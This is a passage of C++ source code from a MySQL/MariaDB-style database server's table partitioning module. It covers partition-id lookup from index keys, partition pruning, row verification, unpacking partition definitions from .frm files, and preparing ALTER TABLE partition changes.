}
if (key_part->key_part_flag & (HA_BLOB_PART + HA_VAR_LENGTH_PART))
{
key_length-= HA_KEY_BLOB_LENGTH;
}
if (key_length < key_part->length)
break;
key_length-= key_part->length;
if (key_part->field->flags & FIELD_IN_PART_FUNC_FLAG)
{
found_part_field= TRUE;
key_part->field->flags|= GET_FIXED_FIELDS_FLAG;
}
}
DBUG_RETURN(found_part_field);
}
/*
We have found that at least one partition field was set by a key, now
check if a partition function has all its fields bound or not.
SYNOPSIS
check_part_func_bound()
ptr Array of fields NULL terminated (partition fields)
RETURN VALUE
TRUE All fields in partition function are set
FALSE Not all fields in partition function are set
*/
static bool check_part_func_bound(Field **ptr)
{
bool result= TRUE;
DBUG_ENTER("check_part_func_bound");
for (; *ptr; ptr++)
{
if (!((*ptr)->flags & GET_FIXED_FIELDS_FLAG))
{
result= FALSE;
break;
}
}
DBUG_RETURN(result);
}
/*
Get the id of the subpartitioning part by using the key buffer of the
index scan.
SYNOPSIS
get_sub_part_id_from_key()
table The table object
buf A buffer that can be used to evaluate the partition function
key_info The index object
key_spec A key_range containing key and key length
out:part_id The returned partition id
RETURN VALUES
TRUE All fields in partition function are set
FALSE Not all fields in partition function are set
DESCRIPTION
Use key buffer to set-up record in buf, move field pointers and
get the partition identity and restore field pointers afterwards.
*/
static int get_sub_part_id_from_key(const TABLE *table,uchar *buf,
KEY *key_info,
const key_range *key_spec,
uint32 *part_id)
{
uchar *rec0= table->record[0];
partition_info *part_info= table->part_info;
int res;
DBUG_ENTER("get_sub_part_id_from_key");
key_restore(buf, (uchar*)key_spec->key, key_info, key_spec->length);
if (likely(rec0 == buf))
{
res= part_info->get_subpartition_id(part_info, part_id);
}
else
{
Field **part_field_array= part_info->subpart_field_array;
part_info->table->move_fields(part_field_array, buf, rec0);
res= part_info->get_subpartition_id(part_info, part_id);
part_info->table->move_fields(part_field_array, rec0, buf);
}
DBUG_RETURN(res);
}
/*
Get the id of the partitioning part by using the key buffer of the
index scan.
SYNOPSIS
get_part_id_from_key()
table The table object
buf A buffer that can be used to evaluate the partition function
key_info The index object
key_spec A key_range containing key and key length
out:part_id Partition to use
RETURN VALUES
TRUE Partition to use not found
FALSE Ok, part_id indicates partition to use
DESCRIPTION
Use key buffer to set-up record in buf, move field pointers and
get the partition identity and restore field pointers afterwards.
*/
bool get_part_id_from_key(const TABLE *table, uchar *buf, KEY *key_info,
const key_range *key_spec, uint32 *part_id)
{
bool result;
uchar *rec0= table->record[0];
partition_info *part_info= table->part_info;
longlong func_value;
DBUG_ENTER("get_part_id_from_key");
key_restore(buf, (uchar*)key_spec->key, key_info, key_spec->length);
if (likely(rec0 == buf))
{
result= part_info->get_part_partition_id(part_info, part_id,
&func_value);
}
else
{
Field **part_field_array= part_info->part_field_array;
part_info->table->move_fields(part_field_array, buf, rec0);
result= part_info->get_part_partition_id(part_info, part_id,
&func_value);
part_info->table->move_fields(part_field_array, rec0, buf);
}
DBUG_RETURN(result);
}
/*
Get the partitioning id of the full PF by using the key buffer of the
index scan.
SYNOPSIS
get_full_part_id_from_key()
table The table object
buf A buffer that is used to evaluate the partition function
key_info The index object
key_spec A key_range containing key and key length
out:part_spec A partition id containing start part and end part
RETURN VALUES
part_spec
No partitions to scan is indicated by end_part > start_part when returning
DESCRIPTION
Use key buffer to set-up record in buf, move field pointers if needed and
get the partition identity and restore field pointers afterwards.
*/
void get_full_part_id_from_key(const TABLE *table, uchar *buf,
KEY *key_info,
const key_range *key_spec,
part_id_range *part_spec)
{
bool result;
partition_info *part_info= table->part_info;
uchar *rec0= table->record[0];
longlong func_value;
DBUG_ENTER("get_full_part_id_from_key");
key_restore(buf, (uchar*)key_spec->key, key_info, key_spec->length);
if (likely(rec0 == buf))
{
result= part_info->get_partition_id(part_info, &part_spec->start_part,
&func_value);
}
else
{
Field **part_field_array= part_info->full_part_field_array;
part_info->table->move_fields(part_field_array, buf, rec0);
result= part_info->get_partition_id(part_info, &part_spec->start_part,
&func_value);
part_info->table->move_fields(part_field_array, rec0, buf);
}
part_spec->end_part= part_spec->start_part;
if (unlikely(result))
part_spec->start_part++;
DBUG_VOID_RETURN;
}
/**
@brief Verify that all rows in a table is in the given partition
@param table Table which contains the data that will be checked if
it is matching the partition definition.
@param part_table Partitioned table containing the partition to check.
@param part_id Which partition to match with.
@return Operation status
@retval TRUE Not all rows match the given partition
@retval FALSE OK
*/
bool verify_data_with_partition(TABLE *table, TABLE *part_table,
uint32 part_id)
{
uint32 found_part_id;
longlong func_value; /* Unused */
handler *file;
int error;
uchar *old_rec;
partition_info *part_info;
DBUG_ENTER("verify_data_with_partition");
DBUG_ASSERT(table && table->file && part_table && part_table->part_info &&
part_table->file);
/*
Verify all table rows.
First implementation uses full scan + evaluates partition functions for
every row. TODO: add optimization to use index if possible, see WL#5397.
1) Open both tables (already done) and set the row buffers to use
the same buffer (to avoid copy).
2) Init rnd on table.
3) loop over all rows.
3.1) verify that partition_id on the row is correct. Break if error.
*/
file= table->file;
part_info= part_table->part_info;
bitmap_union(table->read_set, &part_info->full_part_field_set);
old_rec= part_table->record[0];
part_table->record[0]= table->record[0];
part_info->table->move_fields(part_info->full_part_field_array, table->record[0], old_rec);
if (unlikely(error= file->ha_rnd_init_with_error(TRUE)))
goto err;
do
{
if (unlikely((error= file->ha_rnd_next(table->record[0]))))
{
if (error == HA_ERR_END_OF_FILE)
error= 0;
else
file->print_error(error, MYF(0));
break;
}
if (unlikely((error= part_info->get_partition_id(part_info, &found_part_id,
&func_value))))
{
part_table->file->print_error(error, MYF(0));
break;
}
DEBUG_SYNC(current_thd, "swap_partition_first_row_read");
if (found_part_id != part_id)
{
my_error(ER_ROW_DOES_NOT_MATCH_PARTITION, MYF(0));
error= 1;
break;
}
} while (TRUE);
(void) file->ha_rnd_end();
err:
part_info->table->move_fields(part_info->full_part_field_array, old_rec,
table->record[0]);
part_table->record[0]= old_rec;
DBUG_RETURN(unlikely(error) ? TRUE : FALSE);
}
/*
Prune the set of partitions to use in query
SYNOPSIS
prune_partition_set()
table The table object
out:part_spec Contains start part, end part
DESCRIPTION
This function is called to prune the range of partitions to scan by
checking the read_partitions bitmap.
If start_part > end_part at return it means no partition needs to be
scanned. If start_part == end_part it always means a single partition
needs to be scanned.
RETURN VALUE
part_spec
*/
void prune_partition_set(const TABLE *table, part_id_range *part_spec)
{
int last_partition= -1;
uint i;
partition_info *part_info= table->part_info;
DBUG_ENTER("prune_partition_set");
for (i= part_spec->start_part; i <= part_spec->end_part; i++)
{
if (bitmap_is_set(&(part_info->read_partitions), i))
{
DBUG_PRINT("info", ("Partition %d is set", i));
if (last_partition == -1)
/* First partition found in set and pruned bitmap */
part_spec->start_part= i;
last_partition= i;
}
}
if (last_partition == -1)
/* No partition found in pruned bitmap */
part_spec->start_part= part_spec->end_part + 1;
else //if (last_partition != -1)
part_spec->end_part= last_partition;
DBUG_VOID_RETURN;
}
/*
Get the set of partitions to use in query.
SYNOPSIS
get_partition_set()
table The table object
buf A buffer that can be used to evaluate the partition function
index The index of the key used, if MAX_KEY no index used
key_spec A key_range containing key and key length
out:part_spec Contains start part, end part and indicator if bitmap is
used for which partitions to scan
DESCRIPTION
This function is called to discover which partitions to use in an index
scan or a full table scan.
It returns a range of partitions to scan. If there are holes in this
range with partitions that are not needed to scan a bit array is used
to signal which partitions to use and which not to use.
If start_part > end_part at return it means no partition needs to be
scanned. If start_part == end_part it always means a single partition
needs to be scanned.
RETURN VALUE
part_spec
*/
void get_partition_set(const TABLE *table, uchar *buf, const uint index,
const key_range *key_spec, part_id_range *part_spec)
{
partition_info *part_info= table->part_info;
uint num_parts= part_info->get_tot_partitions();
uint i, part_id;
uint sub_part= num_parts;
uint32 part_part= num_parts;
KEY *key_info= NULL;
bool found_part_field= FALSE;
DBUG_ENTER("get_partition_set");
part_spec->start_part= 0;
part_spec->end_part= num_parts - 1;
if ((index < MAX_KEY) &&
key_spec && key_spec->flag == (uint)HA_READ_KEY_EXACT &&
part_info->some_fields_in_PF.is_set(index))
{
key_info= table->key_info+index;
/*
The index can potentially provide at least one PF-field (field in the
partition function). Thus it is interesting to continue our probe.
*/
if (key_spec->length == key_info->key_length)
{
/*
The entire key is set so we can check whether we can immediately
derive either the complete PF or if we can derive either
the top PF or the subpartitioning PF. This can be established by
checking precalculated bits on each index.
*/
if (part_info->all_fields_in_PF.is_set(index))
{
/*
We can derive the exact partition to use, no more than this one
is needed.
*/
get_full_part_id_from_key(table,buf,key_info,key_spec,part_spec);
/*
Check if range can be adjusted by looking in read_partitions
*/
prune_partition_set(table, part_spec);
DBUG_VOID_RETURN;
}
else if (part_info->is_sub_partitioned())
{
if (part_info->all_fields_in_SPF.is_set(index))
{
if (get_sub_part_id_from_key(table, buf, key_info, key_spec, &sub_part))
{
part_spec->start_part= num_parts;
DBUG_VOID_RETURN;
}
}
else if (part_info->all_fields_in_PPF.is_set(index))
{
if (get_part_id_from_key(table,buf,key_info,
key_spec,(uint32*)&part_part))
{
/*
The value of the RANGE or LIST partitioning was outside of
allowed values. Thus it is certain that the result of this
scan will be empty.
*/
part_spec->start_part= num_parts;
DBUG_VOID_RETURN;
}
}
}
}
else
{
/*
Set an indicator on all partition fields that are bound.
If at least one PF-field was bound it pays off to check whether
the PF or PPF or SPF has been bound.
(PF = Partition Function, SPF = Subpartition Function and
PPF = Partition Function part of subpartitioning)
*/
if ((found_part_field= set_PF_fields_in_key(key_info,
key_spec->length)))
{
if (check_part_func_bound(part_info->full_part_field_array))
{
/*
We were able to bind all fields in the partition function even
by using only a part of the key. Calculate the partition to use.
*/
get_full_part_id_from_key(table,buf,key_info,key_spec,part_spec);
clear_indicator_in_key_fields(key_info);
/*
Check if range can be adjusted by looking in read_partitions
*/
prune_partition_set(table, part_spec);
DBUG_VOID_RETURN;
}
else if (part_info->is_sub_partitioned())
{
if (check_part_func_bound(part_info->subpart_field_array))
{
if (get_sub_part_id_from_key(table, buf, key_info, key_spec, &sub_part))
{
part_spec->start_part= num_parts;
clear_indicator_in_key_fields(key_info);
DBUG_VOID_RETURN;
}
}
else if (check_part_func_bound(part_info->part_field_array))
{
if (get_part_id_from_key(table,buf,key_info,key_spec,&part_part))
{
part_spec->start_part= num_parts;
clear_indicator_in_key_fields(key_info);
DBUG_VOID_RETURN;
}
}
}
}
}
}
{
/*
The next step is to analyse the table condition to see whether any
information about which partitions to scan can be derived from there.
Currently not implemented.
*/
}
/*
If we come here we have found a range of sorts we have either discovered
nothing or we have discovered a range of partitions with possible holes
in it. We need a bitvector to further the work here.
*/
if (!(part_part == num_parts && sub_part == num_parts))
{
/*
We can only arrive here if we are using subpartitioning.
*/
if (part_part != num_parts)
{
/*
We know the top partition and need to scan all underlying
subpartitions. This is a range without holes.
*/
DBUG_ASSERT(sub_part == num_parts);
part_spec->start_part= part_part * part_info->num_subparts;
part_spec->end_part= part_spec->start_part+part_info->num_subparts - 1;
}
else
{
DBUG_ASSERT(sub_part != num_parts);
part_spec->start_part= sub_part;
part_spec->end_part=sub_part+
(part_info->num_subparts*(part_info->num_parts-1));
for (i= 0, part_id= sub_part; i < part_info->num_parts;
i++, part_id+= part_info->num_subparts)
; //Set bit part_id in bit array
}
}
if (found_part_field)
clear_indicator_in_key_fields(key_info);
/*
Check if range can be adjusted by looking in read_partitions
*/
prune_partition_set(table, part_spec);
DBUG_VOID_RETURN;
}
/*
If the table is partitioned we will read the partition info into the
.frm file here.
-------------------------------
| Fileinfo 64 bytes |
-------------------------------
| Formnames 7 bytes |
-------------------------------
| Not used 4021 bytes |
-------------------------------
| Keyinfo + record |
-------------------------------
| Padded to next multiple |
| of IO_SIZE |
-------------------------------
| Forminfo 288 bytes |
-------------------------------
| Screen buffer, to make |
|field names readable |
-------------------------------
| Packed field info |
|17 + 1 + strlen(field_name) |
| + 1 end of file character |
-------------------------------
| Partition info |
-------------------------------
We provide the length of partition length in Fileinfo[55-58].
Read the partition syntax from the frm file and parse it to get the
data structures of the partitioning.
SYNOPSIS
mysql_unpack_partition()
thd Thread object
part_buf Partition info from frm file
part_info_len Length of partition syntax
table Table object of partitioned table
create_table_ind Is it called from CREATE TABLE
default_db_type What is the default engine of the table
work_part_info_used Flag is raised if we don't create new
part_info, but used thd->work_part_info
RETURN VALUE
TRUE Error
FALSE Sucess
DESCRIPTION
Read the partition syntax from the current position in the frm file.
Initiate a LEX object, save the list of item tree objects to free after
the query is done. Set-up partition info object such that parser knows
it is called from internally. Call parser to create data structures
(best possible recreation of item trees and so forth since there is no
serialisation of these objects other than in parseable text format).
We need to save the text of the partition functions since it is not
possible to retrace this given an item tree.
*/
bool mysql_unpack_partition(THD *thd,
char *part_buf, uint part_info_len,
TABLE* table, bool is_create_table_ind,
handlerton *default_db_type,
bool *work_part_info_used)
{
bool result= TRUE;
partition_info *part_info;
CHARSET_INFO *old_character_set_client= thd->variables.character_set_client;
LEX *old_lex= thd->lex;
LEX lex;
PSI_statement_locker *parent_locker= thd->m_statement_psi;
DBUG_ENTER("mysql_unpack_partition");
thd->variables.character_set_client= system_charset_info;
Parser_state parser_state;
if (unlikely(parser_state.init(thd, part_buf, part_info_len)))
goto end;
if (unlikely(init_lex_with_single_table(thd, table, &lex)))
goto end;
*work_part_info_used= FALSE;
if (unlikely(!(lex.part_info= new partition_info())))
goto end;
lex.part_info->table= table; /* Indicates MYSQLparse from this place */
part_info= lex.part_info;
DBUG_PRINT("info", ("Parse: %s", part_buf));
thd->m_statement_psi= NULL;
if (unlikely(parse_sql(thd, & parser_state, NULL)) ||
unlikely(part_info->fix_parser_data(thd)))
{
thd->free_items();
thd->m_statement_psi= parent_locker;
goto end;
}
thd->m_statement_psi= parent_locker;
/*
The parsed syntax residing in the frm file can still contain defaults.
The reason is that the frm file is sometimes saved outside of this
MySQL Server and used in backup and restore of clusters or partitioned
tables. It is not certain that the restore will restore exactly the
same default partitioning.
The easiest manner of handling this is to simply continue using the
part_info we already built up during mysql_create_table if we are
in the process of creating a table. If the table already exists we
need to discover the number of partitions for the default parts. Since
the handler object hasn't been created here yet we need to postpone this
to the fix_partition_func method.
*/
DBUG_PRINT("info", ("Successful parse"));
DBUG_PRINT("info", ("default engine = %s, default_db_type = %s",
ha_resolve_storage_engine_name(part_info->default_engine_type),
ha_resolve_storage_engine_name(default_db_type)));
if (is_create_table_ind && old_lex->sql_command == SQLCOM_CREATE_TABLE)
{
/*
When we come here we are doing a create table. In this case we
have already done some preparatory work on the old part_info
object. We don't really need this new partition_info object.
Thus we go back to the old partition info object.
We need to free any memory objects allocated on item_free_list
by the parser since we are keeping the old info from the first
parser call in CREATE TABLE.
This table object can not be used any more. However, since
this is CREATE TABLE, we know that it will be destroyed by the
caller, and rely on that.
*/
thd->free_items();
part_info= thd->work_part_info;
*work_part_info_used= true;
}
table->part_info= part_info;
part_info->table= table;
table->file->set_part_info(part_info);
if (!part_info->default_engine_type)
part_info->default_engine_type= default_db_type;
DBUG_ASSERT(part_info->default_engine_type == default_db_type);
DBUG_ASSERT(part_info->default_engine_type->db_type != DB_TYPE_UNKNOWN);
DBUG_ASSERT(part_info->default_engine_type != partition_hton);
result= FALSE;
end:
end_lex_with_single_table(thd, table, old_lex);
thd->variables.character_set_client= old_character_set_client;
DBUG_RETURN(result);
}
/*
Set engine type on all partition element objects
SYNOPSIS
set_engine_all_partitions()
part_info Partition info
engine_type Handlerton reference of engine
RETURN VALUES
NONE
*/
static
void
set_engine_all_partitions(partition_info *part_info,
handlerton *engine_type)
{
uint i= 0;
List_iterator<partition_element> part_it(part_info->partitions);
do
{
partition_element *part_elem= part_it++;
part_elem->engine_type= engine_type;
if (part_info->is_sub_partitioned())
{
List_iterator<partition_element> sub_it(part_elem->subpartitions);
uint j= 0;
do
{
partition_element *sub_elem= sub_it++;
sub_elem->engine_type= engine_type;
} while (++j < part_info->num_subparts);
}
} while (++i < part_info->num_parts);
}
/**
Support routine to handle the successful cases for partition management.
@param thd Thread object
@param copied Number of records copied
@param deleted Number of records deleted
@param table_list Table list with the one table in it
@return Operation status
@retval FALSE Success
@retval TRUE Failure
*/
static int fast_end_partition(THD *thd, ulonglong copied,
ulonglong deleted,
TABLE_LIST *table_list)
{
char tmp_name[80];
DBUG_ENTER("fast_end_partition");
thd->proc_info="end";
query_cache_invalidate3(thd, table_list, 0);
my_snprintf(tmp_name, sizeof(tmp_name), ER_THD(thd, ER_INSERT_INFO),
(ulong) (copied + deleted),
(ulong) deleted,
(ulong) 0);
my_ok(thd, (ha_rows) (copied+deleted),0L, tmp_name);
DBUG_RETURN(FALSE);
}
/*
We need to check if engine used by all partitions can handle
partitioning natively.
SYNOPSIS
check_native_partitioned()
create_info Create info in CREATE TABLE
out:ret_val Return value
part_info Partition info
thd Thread object
RETURN VALUES
Value returned in bool ret_value
TRUE Native partitioning supported by engine
FALSE Need to use partition handler
Return value from function
TRUE Error
FALSE Success
*/
static bool check_native_partitioned(HA_CREATE_INFO *create_info,bool *ret_val,
partition_info *part_info, THD *thd)
{
bool table_engine_set;
handlerton *engine_type= part_info->default_engine_type;
handlerton *old_engine_type= engine_type;
DBUG_ENTER("check_native_partitioned");
if (create_info->used_fields & HA_CREATE_USED_ENGINE)
{
table_engine_set= TRUE;
engine_type= create_info->db_type;
}
else
{
table_engine_set= FALSE;
if (thd->lex->sql_command != SQLCOM_CREATE_TABLE)
{
table_engine_set= TRUE;
DBUG_ASSERT(engine_type && engine_type != partition_hton);
}
}
DBUG_PRINT("info", ("engine_type = %s, table_engine_set = %u",
ha_resolve_storage_engine_name(engine_type),
table_engine_set));
if (part_info->check_engine_mix(engine_type, table_engine_set))
goto error;
/*
All engines are of the same type. Check if this engine supports
native partitioning.
*/
if (!engine_type)
engine_type= old_engine_type;
DBUG_PRINT("info", ("engine_type = %s",
ha_resolve_storage_engine_name(engine_type)));
if (engine_type->partition_flags &&
(engine_type->partition_flags() & HA_CAN_PARTITION))
{
create_info->db_type= engine_type;
DBUG_PRINT("info", ("Changed to native partitioning"));
*ret_val= TRUE;
}
DBUG_RETURN(FALSE);
error:
/*
Mixed engines not yet supported but when supported it will need
the partition handler
*/
my_error(ER_MIX_HANDLER_ERROR, MYF(0));
*ret_val= FALSE;
DBUG_RETURN(TRUE);
}
/**
Sets which partitions to be used in the command.
@param alter_info Alter_info pointer holding partition names and flags.
@param tab_part_info partition_info holding all partitions.
@param part_state Which state to set for the named partitions.
@return Operation status
@retval false Success
@retval true Failure
*/
bool set_part_state(Alter_info *alter_info, partition_info *tab_part_info,
enum partition_state part_state)
{
uint part_count= 0;
uint num_parts_found= 0;
List_iterator<partition_element> part_it(tab_part_info->partitions);
do
{
partition_element *part_elem= part_it++;
if ((alter_info->partition_flags & ALTER_PARTITION_ALL) ||
(is_name_in_list(part_elem->partition_name,
alter_info->partition_names)))
{
/*
Mark the partition.
I.e mark the partition as a partition to be "changed" by
analyzing/optimizing/rebuilding/checking/repairing/...
*/
num_parts_found++;
part_elem->part_state= part_state;
DBUG_PRINT("info", ("Setting part_state to %u for partition %s",
part_state, part_elem->partition_name));
}
else
part_elem->part_state= PART_NORMAL;
} while (++part_count < tab_part_info->num_parts);
if (num_parts_found != alter_info->partition_names.elements &&
!(alter_info->partition_flags & ALTER_PARTITION_ALL))
{
/* Not all given partitions found, revert and return failure */
part_it.rewind();
part_count= 0;
do
{
partition_element *part_elem= part_it++;
part_elem->part_state= PART_NORMAL;
} while (++part_count < tab_part_info->num_parts);
return true;
}
return false;
}
/**
@brief Check if partition is exchangable with table by checking table options
@param table_create_info Table options from table.
@param part_elem All the info of the partition.
@retval FALSE if they are equal, otherwise TRUE.
@note Any differens that would cause a change in the frm file is prohibited.
Such options as data_file_name, index_file_name, min_rows, max_rows etc. are
not allowed to differ. But comment is allowed to differ.
*/
bool compare_partition_options(HA_CREATE_INFO *table_create_info,
partition_element *part_elem)
{
#define MAX_COMPARE_PARTITION_OPTION_ERRORS 5
const char *option_diffs[MAX_COMPARE_PARTITION_OPTION_ERRORS + 1];
int i, errors= 0;
DBUG_ENTER("compare_partition_options");
/*
Note that there are not yet any engine supporting tablespace together
with partitioning. TODO: when there are, add compare.
*/
if (part_elem->tablespace_name || table_create_info->tablespace)
option_diffs[errors++]= "TABLESPACE";
if (part_elem->part_max_rows != table_create_info->max_rows)
option_diffs[errors++]= "MAX_ROWS";
if (part_elem->part_min_rows != table_create_info->min_rows)
option_diffs[errors++]= "MIN_ROWS";
for (i= 0; i < errors; i++)
my_error(ER_PARTITION_EXCHANGE_DIFFERENT_OPTION, MYF(0),
option_diffs[i]);
DBUG_RETURN(errors != 0);
}
/*
Prepare for ALTER TABLE of partition structure
@param[in] thd Thread object
@param[in] table Table object
@param[in,out] alter_info Alter information
@param[in,out] create_info Create info for CREATE TABLE
@param[in] alter_ctx ALTER TABLE runtime context
@param[out] partition_changed Boolean indicating whether partition changed
@param[out] fast_alter_table Boolean indicating if fast partition alter is
possible.
@return Operation status
@retval TRUE Error
@retval FALSE Success
@note
This method handles all preparations for ALTER TABLE for partitioned
tables.
We need to handle both partition management command such as Add Partition
and others here as well as an ALTER TABLE that completely changes the
partitioning and yet others that don't change anything at all. We start
by checking the partition management variants and then check the general
change patterns.
*/
uint prep_alter_part_table(THD *thd, TABLE *table, Alter_info *alter_info,
HA_CREATE_INFO *create_info,
Alter_table_ctx *alter_ctx,
bool *partition_changed,
bool *fast_alter_table)
{
DBUG_ENTER("prep_alter_part_table");
/* Foreign keys on partitioned tables are not supported, waits for WL#148 */
if (table->part_info && (alter_info->flags & (ALTER_ADD_FOREIGN_KEY |
ALTER_DROP_FOREIGN_KEY)))
{
my_error(ER_FOREIGN_KEY_ON_PARTITIONED, MYF(0));
DBUG_RETURN(TRUE);
}
/* Remove partitioning on a not partitioned table is not possible */
if (!table->part_info && (alter_info->partition_flags &
ALTER_PARTITION_REMOVE))
{
my_error(ER_PARTITION_MGMT_ON_NONPARTITIONED, MYF(0));
DBUG_RETURN(TRUE);
}
partition_info *alt_part_info= thd->lex->part_info;
/*
This variable is TRUE in very special case when we add only DEFAULT
partition to the existing table
*/
bool only_default_value_added=
(alt_part_info &&
alt_part_info->current_partition &&
alt_part_info->current_partition->list_val_list.elements == 1 &&
alt_part_info->current_partition->list_val_list.head()->
added_items >= 1 &&
alt_part_info->current_partition->list_val_list.head()->
col_val_array[0].max_value) &&
alt_part_info->part_type == LIST_PARTITION &&
(alter_info->partition_flags & ALTER_PARTITION_ADD);
if (only_default_value_added &&
!thd->lex->part_info->num_columns)
thd->lex->part_info->num_columns= 1; // to make correct clone
/*
One of these is done in handle_if_exists_option():
thd->work_part_info= thd->lex->part_info;
or
thd->work_part_info= NULL;
*/
if (thd->work_part_info &&
!(thd->work_part_info= thd->work_part_info->get_clone(thd)))
DBUG_RETURN(TRUE);
/* ALTER_PARTITION_ADMIN is handled in mysql_admin_table */
DBUG_ASSERT(!(alter_info->partition_flags & ALTER_PARTITION_ADMIN));
partition_info *saved_part_info= NULL;
if (alter_info->partition_flags &
(ALTER_PARTITION_ADD |
ALTER_PARTITION_DROP |
ALTER_PARTITION_COALESCE |
ALTER_PARTITION_REORGANIZE |
ALTER_PARTITION_TABLE_REORG |
ALTER_PARTITION_REBUILD))
{
/*
You can't add column when we are doing alter related to partition
*/
DBUG_EXECUTE_IF("test_pseudo_invisible", {
my_error(ER_INTERNAL_ERROR, MYF(0), "Don't to it with test_pseudo_invisible");
DBUG_RETURN(1);
});
DBUG_EXECUTE_IF("test_completely_invisible", {
my_error(ER_INTERNAL_ERROR, MYF(0), "Don't to it with test_completely_invisible");
DBUG_RETURN(1);
});
partition_info *tab_part_info;
ulonglong flags= 0;
bool is_last_partition_reorged= FALSE;
part_elem_value *tab_max_elem_val= NULL;
part_elem_value *alt_max_elem_val= NULL;
longlong tab_max_range= 0, alt_max_range= 0;
alt_part_info= thd->work_part_info;
if (!table->part_info)
{
my_error(ER_PARTITION_MGMT_ON_NONPARTITIONED, MYF(0));
DBUG_RETURN(TRUE);
}
/*
Open our intermediate table, we will operate on a temporary instance
of the original table, to be able to skip copying all partitions.
Open it as a copy of the original table, and modify its partition_info
object to allow fast_alter_partition_table to perform the changes.
*/
DBUG_ASSERT(thd->mdl_context.is_lock_owner(MDL_key::TABLE,
alter_ctx->db.str,
alter_ctx->table_name.str,
MDL_INTENTION_EXCLUSIVE));
tab_part_info= table->part_info;
if (alter_info->partition_flags & ALTER_PARTITION_TABLE_REORG)
{
uint new_part_no, curr_part_no;
/*
'ALTER TABLE t REORG PARTITION' only allowed with auto partition
if default partitioning is used.
*/
if (tab_part_info->part_type != HASH_PARTITION ||
((table->s->db_type()->partition_flags() & HA_USE_AUTO_PARTITION) &&
!tab_part_info->use_default_num_partitions) ||
((!(table->s->db_type()->partition_flags() & HA_USE_AUTO_PARTITION)) &&
tab_part_info->use_default_num_partitions))
{
my_error(ER_REORG_NO_PARAM_ERROR, MYF(0));
goto err;
}
new_part_no= table->file->get_default_no_partitions(create_info);
curr_part_no= tab_part_info->num_parts;
if (new_part_no == curr_part_no)
{
/*
No change is needed, we will have the same number of partitions
after the change as before. Thus we can reply ok immediately
without any changes at all.
*/
flags= table->file->alter_table_flags(alter_info->flags);
if (flags & (HA_FAST_CHANGE_PARTITION | HA_PARTITION_ONE_PHASE))
{
*fast_alter_table= true;
/* Force table re-open for consistency with the main case. */
table->m_needs_reopen= true;
}
else
{
/*
Create copy of partition_info to avoid modifying original
TABLE::part_info, to keep it safe for later use.
*/
if (!(tab_part_info= tab_part_info->get_clone(thd)))
DBUG_RETURN(TRUE);
}
thd->work_part_info= tab_part_info;
DBUG_RETURN(FALSE);
}
else if (new_part_no > curr_part_no)
{
/*
We will add more partitions, we use the ADD PARTITION without
setting the flag for no default number of partitions
*/
alter_info->partition_flags|= ALTER_PARTITION_ADD;
thd->work_part_info->num_parts= new_part_no - curr_part_no;
}
else
{
/*
We will remove hash partitions, we use the COALESCE PARTITION
without setting the flag for no default number of partitions
*/
alter_info->partition_flags|= ALTER_PARTITION_COALESCE;
alter_info->num_parts= curr_part_no - new_part_no;
}
}
if (!(flags= table->file->alter_table_flags(alter_info->flags)))
{
my_error(ER_PARTITION_FUNCTION_FAILURE, MYF(0));
goto err;
}
if ((flags & (HA_FAST_CHANGE_PARTITION | HA_PARTITION_ONE_PHASE)) != 0)
{
/*
"Fast" change of partitioning is supported in this case.
We will change TABLE::part_info (as this is how we pass
information to storage engine in this case), so the table
must be reopened.
*/
*fast_alter_table= true;
table->m_needs_reopen= true;
}
else
{
/*
"Fast" changing of partitioning is not supported. Create
a copy of TABLE::part_info object, so we can modify it safely.
Modifying original TABLE::part_info will cause problems when
we read data from old version of table using this TABLE object
while copying them to new version of table.
*/
if (!(tab_part_info= tab_part_info->get_clone(thd)))
DBUG_RETURN(TRUE);
}
DBUG_PRINT("info", ("*fast_alter_table flags: 0x%llx", flags));
if ((alter_info->partition_flags & ALTER_PARTITION_ADD) ||
(alter_info->partition_flags & ALTER_PARTITION_REORGANIZE))
{
if (thd->work_part_info->part_type != tab_part_info->part_type)
{
if (thd->work_part_info->part_type == NOT_A_PARTITION)
{
if (tab_part_info->part_type == RANGE_PARTITION)
{
my_error(ER_PARTITIONS_MUST_BE_DEFINED_ERROR, MYF(0), "RANGE");
goto err;
}
else if (tab_part_info->part_type == LIST_PARTITION)
{
my_error(ER_PARTITIONS_MUST_BE_DEFINED_ERROR, MYF(0), "LIST");
goto err;
}
/*
Hash partitions can be altered without parser finds out about
that it is HASH partitioned. So no error here.
*/
}
else
{
if (thd->work_part_info->part_type == RANGE_PARTITION)
{
my_error(ER_PARTITION_WRONG_VALUES_ERROR, MYF(0),
"RANGE", "LESS THAN");
}
else if (thd->work_part_info->part_type == LIST_PARTITION)
{
DBUG_ASSERT(thd->work_part_info->part_type == LIST_PARTITION);
my_error(ER_PARTITION_WRONG_VALUES_ERROR, MYF(0),
"LIST", "IN");
}
else if (thd->work_part_info->part_type == VERSIONING_PARTITION)
{
my_error(ER_PARTITION_WRONG_TYPE, MYF(0), "SYSTEM_TIME");
}
else
{
DBUG_ASSERT(tab_part_info->part_type == RANGE_PARTITION ||
tab_part_info->part_type == LIST_PARTITION);
(void) tab_part_info->error_if_requires_values();
}
goto err;
}
}
if ((tab_part_info->column_list &&
alt_part_info->num_columns != tab_part_info->num_columns &&
!only_default_value_added) ||
(!tab_part_info->column_list &&
(tab_part_info->part_type == RANGE_PARTITION ||
tab_part_info->part_type == LIST_PARTITION) &&
alt_part_info->num_columns != 1U &&
!only_default_value_added) ||
(!tab_part_info->column_list &&
tab_part_info->part_type == HASH_PARTITION &&
(alt_part_info->num_columns != 0)))
{
my_error(ER_PARTITION_COLUMN_LIST_ERROR, MYF(0));
goto err;
}
alt_part_info->column_list= tab_part_info->column_list;
if (alt_part_info->fix_parser_data(thd))
{
goto err;
}
}
if (alter_info->partition_flags & ALTER_PARTITION_ADD)
{
if (*fast_alter_table && thd->locked_tables_mode)
{
MEM_ROOT *old_root= thd->mem_root;
thd->mem_root= &thd->locked_tables_list.m_locked_tables_root;
saved_part_info= tab_part_info->get_clone(thd);
thd->mem_root= old_root;
saved_part_info->read_partitions= tab_part_info->read_partitions;
saved_part_info->lock_partitions= tab_part_info->lock_partitions;
saved_part_info->bitmaps_are_initialized= tab_part_info->bitmaps_are_initialized;
}
/*
We start by moving the new partitions to the list of temporary
partitions. We will then check that the new partitions fit in the
partitioning scheme as currently set-up.
Partitions are always added at the end in ADD PARTITION.
*/
uint num_new_partitions= alt_part_info->num_parts;
uint num_orig_partitions= tab_part_info->num_parts;
uint check_total_partitions= num_new_partitions + num_orig_partitions;
uint new_total_partitions= check_total_partitions;
/*
We allow quite a lot of values to be supplied by defaults, however we
must know the number of new partitions in this case.
*/
